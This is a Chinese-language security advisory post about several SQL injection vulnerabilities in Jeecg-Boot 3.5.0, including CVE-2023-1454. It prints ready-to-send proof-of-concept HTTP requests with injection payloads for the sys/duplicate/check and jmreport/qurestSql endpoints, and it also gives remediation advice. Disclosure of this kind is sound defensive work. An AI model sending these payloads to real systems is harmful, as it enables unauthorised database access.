Jeegc-Boot 最新多个SQL注入漏洞

admin 2024年11月15日12:50:12评论332 views字数 2264阅读7分32秒阅读模式

Jeegc-Boot 最新多个SQL注入漏洞

简介

Jeecg-Boot是一款基于Spring Boot和Jeecg-Boot-Plus的快速开发平台,它提供了一系列的代码生成器、模板引擎、权限管理、数据字典、数据导入导出等功能,可以帮助开发者快速构建企业级应用。最近在最新的jeecg-boot 3.5.0 中被爆出多个SQL注入漏洞。

官方网站:http://www.jeecg.com

影响范围

Jeecg-Boot = v3.5.0

1、sys/duplicate/check 接口SQL注入

sys/duplicate/check 接口存在SQL注入漏洞,checksql可以被绕过,需要身份认证,判断当前数据库用户:

Jeegc-Boot 最新多个SQL注入漏洞

Jeegc-Boot 最新多个SQL注入漏洞

来源:
https://github.com/jeecgboot/jeecg-boot/issues/4737
Poc:
GET /jeecg-boot/sys/duplicate/check?tableName=v3_hello&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))&fieldVal=1&dataId=asd HTTP/1.1Host: 127.0.0.1:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36Connection: closeCache-Control: max-age=0X_ACCESS_TOKEN: [Token值]

2、jmreport/qurestSql 未授权SQL注入(CVE-2023-1454)

根据J0hnWalker的分析,漏洞产生的主要原因是jimureport-spring-boot-starter-1.5.6.jar中/org/jeecg/modules/jmreport/desreport/a/a.class文件:

Jeegc-Boot 最新多个SQL注入漏洞

参数 apiSelectId 会从jimu_report_db表中通过id参数查询数据,id参数未过滤:

Jeegc-Boot 最新多个SQL注入漏洞

jimu_report_db表中id值为1272834687525482497和1290104038414721025等的db_dyn_sql列是sql语句,且引用了id参数,这会导致二次注入:

Jeegc-Boot 最新多个SQL注入漏洞

Jeegc-Boot 最新多个SQL注入漏洞

Poc:
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1Host: localhost:8080Cache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Connection: closeContent-Length: 130Content-Type: application/json;charset=UTF-8{"apiSelectId":"1290104038414721025","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
获取当前数据库用户:

Jeegc-Boot 最新多个SQL注入漏洞

来源:
https://github.com/J0hnWalker/jeecg-boot-sqli

3、jmreport/loadTableData授权SQL注入

可视化设计-->报表设计器功能处存在SQL注入:

Jeegc-Boot 最新多个SQL注入漏洞

通过新建报表添加SQL数据集:

Jeegc-Boot 最新多个SQL注入漏洞

Jeegc-Boot 最新多个SQL注入漏洞

在报表SQL中插入SQL语句,在数据预览时触发SQL注入:

Jeegc-Boot 最新多个SQL注入漏洞

来源:
https://github.com/jeecgboot/jeecg-boot/issues/4702

修复建议

1、目前官方暂未发布安全版本修复该漏洞,请及时关注官网最新版本的发布情况。
2、设置访问IP白名单或将系统部署到内网环境中。
3、修改漏洞代码,过滤id参数,防止SQL注入。

原文始发于微信公众号(Hack All):Jeegc-Boot 最新多个SQL注入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月15日12:50:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jeegc-Boot 最新多个SQL注入漏洞https://cn-sec.com/archives/1637376.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息